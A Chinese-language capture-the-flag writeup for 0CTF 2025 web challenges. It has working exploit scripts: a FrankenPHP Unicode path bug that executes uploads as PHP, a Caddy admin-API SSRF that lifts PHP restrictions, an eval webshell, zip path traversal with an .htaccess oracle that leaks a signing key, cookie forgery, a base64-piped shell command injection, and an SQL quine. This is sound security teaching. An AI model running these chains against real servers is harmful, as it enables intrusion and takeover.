Turker
Turker
Published on 2025-12-28 / 11 Visits
0

0CTF 2025 Writeup

0CTF 2025 Writeup

Web

ezupload

可以看到整个应用非常简洁,有两个功能:

  1. upload : 可以上传任意文件,但限制文件名后缀为 .txt
  2. create : 可以创建任意文件名的文件,但限制文件内容为 <?php phpinfo(); ?>
<?php
$action = $_GET['action'] ?? '';
if ($action === 'create') {
  $filename = basename($_GET['filename'] ?? 'phpinfo.php');
  file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, '<?php phpinfo(); ?>');
  echo "File created.";
} elseif ($action === 'upload') {
  if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploadFile = realpath('.') . DIRECTORY_SEPARATOR . basename($_FILES['file']['name']);
    $extension = pathinfo($uploadFile, PATHINFO_EXTENSION);
    if ($extension === 'txt') {
      if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadFile)) {
        echo "File uploaded successfully.";
      }
    }
  }
} else {
  highlight_file(__FILE__);
}

现在我们的目的是想要让 PHP 引擎执行我们的 PHP 代码。于是查看 phpinfo 寻找信息:

  • PHP : 8.4.15
  • Server API : FrankenPHP
    open_basedir : /app/public:/tmp
  • disable_functions : 非常全面,无法绕过
  • disable_classes : PDO, SQLite3

PHP/8.4.15 是一个非常新的版本,我们只能把目光转向 FrankenPHP 了。

FrankenPHP

首先,什么是 FrankenPHP

FrankenPHP is a modern application server for PHP built on top of the Caddy web server.

也就是说,FrankenPHP 将 Web 服务器和 PHP 解释器集成到了一个单一的二进制文件中,它的行为有可能与 Nginx + PHP-FPM 不同。

于是观察一下 .php 被执行的流程,首先路径由 Caddy 匹配,逻辑大概是:

# Add trailing slash for directory requests
@canonicalPath {
	file {path}/index.php
	not path */
}
redir @canonicalPath {path}/ 308

# If the requested file does not exist, try index files
@indexFiles file {
	try_files {path} {path}/index.php index.php
	split_path .php
}
rewrite @indexFiles {http.matchers.file.relative}

# FrankenPHP!
@phpFiles path *.php
php @phpFiles
file_server

接下来进入 module.go/NewRequestWithContext 方法。由于未指定 worker,方法会进入以下逻辑:

func NewRequestWithContext(r *http.Request, opts ...RequestOption) (*http.Request, error) {

	...

	// If a worker is already assigned explicitly, use its filename and skip parsing path variables
	if fc.worker != nil {
		fc.scriptFilename = fc.worker.fileName
	} else {
		// If no worker was assigned, split the path into the "traditional" CGI path variables.
		// This needs to already happen here in case a worker script still matches the path.
		splitCgiPath(fc)
	}

	...

}

接着进入 cgi.go/splitCgiPath。其作用是根据请求 URL 路径,把 CGI 相关变量(SCRIPT_NAME, PATH_INFO, DOCUMENT_URI, SCRIPT_FILENAME 等)拆出来:

// splitCgiPath splits the request path into SCRIPT_NAME, SCRIPT_FILENAME, PATH_INFO, DOCUMENT_URI
func splitCgiPath(fc *frankenPHPContext) {
	path := fc.request.URL.Path
	splitPath := fc.splitPath

	if splitPath == nil {
		splitPath = []string{".php"}
	}

	if splitPos := splitPos(path, splitPath); splitPos > -1 {
		fc.docURI = path[:splitPos]
		fc.pathInfo = path[splitPos:]

		// Strip PATH_INFO from SCRIPT_NAME
		fc.scriptName = strings.TrimSuffix(path, fc.pathInfo)

		// Ensure the SCRIPT_NAME has a leading slash for compliance with RFC3875
		// Info: https://tools.ietf.org/html/rfc3875#section-4.1.13
		if fc.scriptName != "" && !strings.HasPrefix(fc.scriptName, "/") {
			fc.scriptName = "/" + fc.scriptName
		}
	}

跟进 cgi.go/splitPos。 其作用是找出 path 应该在哪个位置切分。注意这里计算索引量之前会将当前切片转为小写:

// splitPos returns the index where path should
// be split based on SplitPath.
// example: if splitPath is [".php"]
// "/path/to/script.php/some/path": ("/path/to/script.php", "/some/path")
func splitPos(path string, splitPath []string) int {
	if len(splitPath) == 0 {
		return 0
	}

	lowerPath := strings.ToLower(path)
	for _, split := range splitPath {
		if idx := strings.Index(lowerPath, strings.ToLower(split)); idx > -1 {
			return idx + len(split)
		}
	}
	return -1
}

问题就出现在这里,切片的索引计算是转为小写之后进行的,但是这个索引会在没做任何处理的路径上使用!

Unicode Case-Folding

如何让转为小写之后的偏移值出现差异?答案是利用一些特殊字符。

例如 (U+212B)占用三个字节,而小写之后的 å(U+00E5)仅占用两个。于是当我们访问 /ÅÅÅÅshell.txt.php 时,小写后的 index 会少四个字节,这恰好导致了 SCRIPT_NAME 变为 ÅÅÅÅshell.txt ,从而实现让 php 引擎执行我们上传的 .txt 文件。

当然由于这里的匹配逻辑是匹配第一个而不是最后一个,我在一些 Writeup 中也看到了如下解法,利用 Ⱥ (U+023A,2 字节) 到 (U+2C65,3 字节),访问 /ȺȺȺȺshell.php.txt.phpSCRIPT_NAME 被解析为
/ȺȺȺȺshell.php.txt

file-20260120091327632.png

接下来我们要做的事情就是上传恶意 ÅÅÅÅshell.txt,创建 ÅÅÅÅshell.txt.php,访问 /ÅÅÅÅshell.txt.php

import requests

PHP = '''
<?php
echo 'success';
?>
'''

target = 'http://localhost:8888/'

url = f'{target}/?action=upload'
files = {
    'file': ('ÅÅÅÅshell.txt', PHP, 'application/octet-stream'),
}
r = requests.post(url, files=files)
print(r.text)

url = f'{target}/?action=create&filename=ÅÅÅÅshell.txt.php'
r = requests.get(url)
print(r.text)

url = f'{target}/ÅÅÅÅshell.txt.php'
r = requests.get(url)
print(r.text)

Caddy

现在我们可以执行任意 PHP 代码了,但是如何从严格的 PHP 沙箱中逃出?

Caddy 默认会在 http://127.0.0.1:2019 开启一个 Admin API,而由于这里的题目配置, FrankenPHP 引擎被当做 Caddy 的一个 app,我们可以通过 SSRF 来修改其配置。

<?php

$ctx = stream_context_create([
  "http" => [
    "method" => "PATCH",
    "header" => "Content-Type: application/json",
    "content" => "\"\"",
    "ignore_errors" => true,
  ],
]);
$url="http://127.0.0.1:2019/config/apps/frankenphp/php_ini/disable_functions";
$response = file_get_contents($url, false, $ctx);
var_dump($response);
var_dump($http_response_header);

?>

最终 exp:

import requests

PHP = '''<?php

$ctx = stream_context_create([
  "http" => [
    "method" => "PATCH",
    "header" => "Content-Type: application/json",
    "content" => "\\"\\"",
    "ignore_errors" => true,
  ],
]);
file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini/disable_functions", false, $ctx);
file_get_contents("http://127.0.0.1:2019/config/apps/frankenphp/php_ini/open_basedir", false, $ctx);

if(isset($_REQUEST['cmd'])) {eval($_REQUEST['cmd']);}

?>'''

target = 'http://localhost:8888/'

url = f'{target}/?action=upload'
files = {
    'file': ('ÅÅÅÅshell.txt', PHP, 'application/octet-stream'),
}
r = requests.post(url, files=files)
print(r.text)

url = f'{target}/?action=create&filename=ÅÅÅÅshell.txt.php'
r = requests.get(url)
print(r.text)

url = f'{target}/ÅÅÅÅshell.txt.php'
r = requests.get(url)
print(r.text)

url = f'{target}/ÅÅÅÅshell.txt.php?cmd=system("/readflag");'
r = requests.get(url)
print(r.text)

0Pages

一个静态站点托管服务,拥有上传 zip 包部署站点的功能。主要的问题也出现在这里。

pub async fn deploy_site(
    username: &str,
    archive_path: &PathBuf,
) -> Result<SiteManifest, std::io::Error> {
    let site_id = uuid::Uuid::new_v4().to_string();
    let site_path = format!("data/{}", site_id);
    let archive_file = std::fs::File::open(archive_path)?;
    let mut archive = ZipArchive::new(archive_file)?;
    let manifest_content = {
        let mut manifest_file = archive.by_name("manifest.json")?;
        let mut content = String::new();
        manifest_file.read_to_string(&mut content)?;
        content
    };
    let mut manifest: SiteManifest = serde_json::from_str(&manifest_content)?;
    for i in 0..archive.len() {
        let mut file = archive.by_index(i)?;
        let outpath = match file.enclosed_name() {
            Some(path) => {
                if path.starts_with(format!("{}/", manifest.webroot)) {
                    let relative_path =
                        path.strip_prefix(format!("{}/", manifest.webroot)).unwrap();
                    std::path::Path::new(&format!("{}/webroot", site_path)).join(relative_path)
                } else {
                    continue;
                }
            }
            None => continue,
        };
        if file.is_file() {
            if let Some(p) = outpath.parent() {
                if !p.exists() {
                    std::fs::create_dir_all(p)?;
                }
            }
            let mut outfile = std::fs::File::create(&outpath)?;
            let mut perms = outfile.metadata()?.permissions();
            perms.set_mode(0o777);
            outfile.set_permissions(perms)?;
            std::io::copy(&mut file, &mut outfile)?;
        }
    }
    manifest.site_id = Some(site_id);
    manifest.owner = Some(username.to_string());
    manifest.webroot = "webroot".to_string();
    manifest.deployed_at = Some(
        std::time::SystemTime::now()
            .duration_since(std::time::UNIX_EPOCH)
            .unwrap()
            .as_secs(),
    );
    let manifest_path = format!("{}/manifest.json", site_path);
    let manifest_json = serde_json::to_string(&manifest)?;
    tokio::fs::write(&manifest_path, manifest_json).await?;
    Ok(manifest)
}

可以看到这里的解压逻辑只检查了 path.starts_with("{webroot}/"),之后就 strip_prefixjoin,这就导致了路径穿越。

同时我们还关注到管理员功能 export_site,这里存在命令注入

pub async fn export_site(username: &str, site_id: &str) -> Result<PathBuf, std::io::Error> {
    let sites = list_sites(username).await?;
    if !sites
        .iter()
        .any(|site| site.site_id.as_deref() == Some(site_id))
    {
        return Err(std::io::Error::new(
            std::io::ErrorKind::NotFound,
            "Site not found.",
        ));
    }
    let site_path = format!("data/{}", site_id);
    let archive_path = format!("/tmp/{}.zip", uuid::Uuid::new_v4().to_string());
    let cmd = format!(
        "cd \"{}\" && zip -r -o \"{}\" *",
        std::path::absolute(&site_path)?.to_string_lossy(),
        std::path::absolute(&archive_path)?.to_string_lossy(),
    );
    let _ = std::process::Command::new("sh")
        .arg("-c")
        .arg(cmd)
        .output()?;
    Ok(std::path::PathBuf::from(archive_path))
}

admin 的鉴权是通过 Salvo 的 session cookie 进行的,其使用 .secretkey 加密 + HMAC 签名。那很简单了,我们覆盖 .secretkey 再利用 admin 的命令注入 rce 就可以拿到 flag。

但是我们看到 Dockerfile:

COPY .secretkey /app/.secretkey
RUN chmod 444 /app/.secretkey

那要如何得到 .secretkey

.htaccess

题目贴心下发了 apache2.conf,其中我们发现 AllowOverride All,这意味着我们可以覆盖 .htaccess 以泄露文件内容。方法很多,这里介绍两种

第一种是利用基于表达式的访问控制,当 QUERY_STRING 与 base64(secret) 前缀匹配时放行,否则 403:

Require expr "base64(file('/app/.secretkey')) -strmatch unescape(%{{QUERY_STRING}})"

第二种是利用 <If> 表达式:

<If "base64(file('/app/.secretkey')) =~ ^{pattern}">
    ErrorDocument 404 "success"
</If>

好,我们爆破一下,得到 qdEbX3yGuhIiPAtoBnSreFPv1tl+YWTKmRwE3g==

长度明显不对,.secretkey 长度有 128 bytes,这里只有 28 bytes。翻阅 Apache 源码,我们发现 0x00 会截断 file() 的字符串读取。

又走到死路了,100 个 bytes 总不能爆破吧……不能吗?

我们查找 salvo 源码,找到 cookie 加密相关逻辑,并跟进到 cookie::Key 的实现,我们发现 Key 实际上仅仅被使用了 32 bytes。

const SIGNING_KEY_LEN: usize = 32;

于是只需要爆破 0x00 之后的 3 bytes 就好了,最终 exp 如下:

import base64
import hmac
import json
import os
import string
import time
import zipfile
from io import BytesIO
from urllib.parse import quote, unquote

import requests

url = "http://127.0.0.1:8080"
LETTERS = string.ascii_letters + string.digits + "+/="


def register(session: requests.Session, username: str, password: str):
    data = {"username": username, "password": password, "confirm_password": password}
    session.post(f"{url}/api/auth/register", json=data)


def login(session: requests.Session, username: str, password: str):
    data = {"username": username, "password": password}
    session.post(f"{url}/api/auth/login", json=data)


def auth_session() -> tuple[requests.Session, str]:
    session = requests.Session()
    username = os.urandom(8).hex()
    password = os.urandom(8).hex()
    register(session, username, password)
    login(session, username, password)
    return session, username


def write_file(session: requests.Session, filename: str, content: bytes):
    manifest = {
        "webroot": "a/b/c/d",
    }
    io = BytesIO()
    with zipfile.ZipFile(io, "w") as exp:
        exp.writestr("manifest.json", json.dumps(manifest).encode())
        exp.writestr(
            f"a/b/c/d/../../../..{filename}",
            content,
        )
    session.post(
        f"{url}/api/sites",
        files={"archive": ("exp.zip", io.getvalue(), "application/zip")},
    )


def get_expr_result(session: requests.Session, expr: str, max_length: int = 1000):
    result = ""
    htaccess = """
Require expr "base64({expr}) -strmatch unescape(%{{QUERY_STRING}})"
"""
    write_file(
        session,
        "/var/www/html/test/.htaccess",
        htaccess.format(expr=expr).encode(),
    )
    for _ in range(max_length):
        old_len = len(result)
        for c in LETTERS:
            pattern = f"{result}{c}*"
            qs = quote(pattern, safe="*")
            r = session.get(f"{url}/test/404.html?{qs}")
            if r.status_code == 404:
                result += c
                print("Found:", result)
                break
        if len(result) == old_len:
            break
    return base64.b64decode(result)


def verify_secret_key(cookie: str, secret_key: bytes):
    digest = base64.b64decode(cookie[:44])
    data = cookie[44:].encode()
    expected = hmac.new(secret_key, data, "sha256").digest()
    return hmac.compare_digest(digest, expected)


def forge_admin_cookie(secret_key: bytes):
    session, username = auth_session()
    cookie = unquote(session.cookies.get("salvo.session.id"))
    data = base64.b64encode(
        base64.b64decode(cookie[44:]).replace(
            # len(username) == 16, 16 + 2 == 0x12
            b"\x12" + b"\x00" * 7 + f'"{username}"'.encode(),
            # len("admin") == 5, 5 + 2 == 0x07
            b"\x07" + b"\x00" * 7 + '"admin"'.encode(),
        )
    )
    digest = hmac.new(secret_key, data, "sha256").digest()
    forged_cookie = base64.b64encode(digest).decode() + data.decode()
    print(f"[+] Forged admin cookie: {forged_cookie}")
    return forged_cookie


def leak_secret_key():
    session, _ = auth_session()
    secret_key = get_expr_result(session, "file('/app/.secretkey')")
    print(f"[+] Leaked secret key: {secret_key}")
    # We only need the first 32 bytes since only the first 32 bytes are used for signing.
    diff = 32 - len(secret_key)
    if diff > 0:
        print(
            f"[!] Leaked secret key is {diff} bytes shorter than needed! Probably due to \\x00 bytes."
        )
        secret_key += b"\x00"
        diff -= 1
        if diff > 0:
            print(
                f"[!] Still having {diff} bytes to bruteforce. Starting bruteforce..."
            )
            cookie = unquote(session.cookies.get("salvo.session.id"))
            for i in range(256**diff):
                attempt = secret_key + i.to_bytes(diff, "big")
                if verify_secret_key(cookie, attempt):
                    secret_key = attempt
                    print(f"[+] Found full secret key: {secret_key}")
                    break
            else:
                print("[-] Failed to bruteforce the remaining bytes")
                exit(1)
    print(f"[+] Final secret key: {secret_key[:32]}")
    return secret_key


def rce(cookie: str):
    session = requests.Session()
    session.cookies.set("salvo.session.id", cookie)
    cmd = base64.b64encode(b"/readflag > /var/www/html/flag.txt").decode()
    site_id = f'";echo {cmd}|base64 -d|sh;#'
    write_file(
        session,
        f"/app/data/{site_id}/manifest.json",
        json.dumps(
            {
                "site_id": site_id,
                "owner": "admin",
                "webroot": "webroot",
                "deployed_at": int(time.time()),
            }
        ).encode(),
    )
    session.get(f"{url}/api/sites/{quote(site_id)}")
    return session.get(f"{url}/flag.txt").text


if __name__ == "__main__":
    secret_key = leak_secret_key()
    admin_cookie = forge_admin_cookie(secret_key)
    flag = rce(admin_cookie)
    print(f"[+] Flag: {flag}")

ezQueen

有一些限制的 SQL Quine,我们不能使用 replace@a:=

<?php

$host = getenv('DB_HOST') ?: 'mysql';
$db   = getenv('DB_NAME') ?: 'app';
$user = getenv('DB_USER') ?: 'appuser';
$pass = getenv('DB_PASS') ?: 'apppass';

$con = @mysqli_connect($host, $user, $pass, $db);
if (!$con) die("DB connect error");

function checkSql($s) {
    if(preg_match("/sleep|benchmark|lock|recursive|regexp|rlike|file|eval|update|schema|sys|substr|mid|left|right|replace|concat|insert|export_set|pad|@/i",$s)){
        die("hacker!");
    }
}

$pwd=$_POST['pwd'] ?? '';

if ($pwd !== '') {
    if (strlen($pwd) > 200) die("too long!");
    checkSql($pwd);
    $sql="SELECT pwd FROM users WHERE username='admin' and pwd='$pwd';";
    try {
        $user_result=mysqli_query($con,$sql);
        $row = mysqli_fetch_array($user_result);
        if (!$row) die("wrong password");
        if ($row['pwd'] === $pwd) {
            die(getenv('FLAG'));
        }
        die("wrong password");
    } catch (Throwable $e) {
        die("wrong password");
    }
}
else {
    highlight_file(__FILE__);
}

这里就先放我的最终 Payload 再解释吧,为了保持代码高亮这里使用完整语句。

SELECT pwd FROM users WHERE username='admin' and pwd=''/*,*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0,'*/ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0',0)t(x,s,y)#';

首先我们创建了一个名为 t 的派生表,包含三列 (x,s,y),其中 s 的值被设置为一段核心字符串 */ union select make_set(15,0x272f2a,s,quote(s),0x30297428782c732c792923)from(select 0

整个语句的执行结果其实也就是 make_set 的结果,其用逗号连接四部分:

  • 0x272f2a: 输出 '/*
  • s: 输出 t 表中存储的模板字符串
  • quote(s): 输出经过转义和带引号的模板字符串
  • 0x30297428782c732c792923: 输出 0)t(x,s,y)#

可以发现,这样的拼接后结果刚好是我们的输入内容

赛后看到了另一种做法,给表多加了一列来解决 make_set 带来的逗号,比我的做法清晰一些

SELECT pwd FROM users WHERE username='admin' and pwd=''union select make_set(15,a,QUOTE(a),QUOTE(b),b)from(select'','\'union select make_set(15,a,QUOTE(a),QUOTE(b),b)from(select\'\'','\'\')z(t,a,b,c);#','')z(t,a,b,c);#';

ezmd

好多非预期,笔者需要再研究一下

securedoc

SpringDuck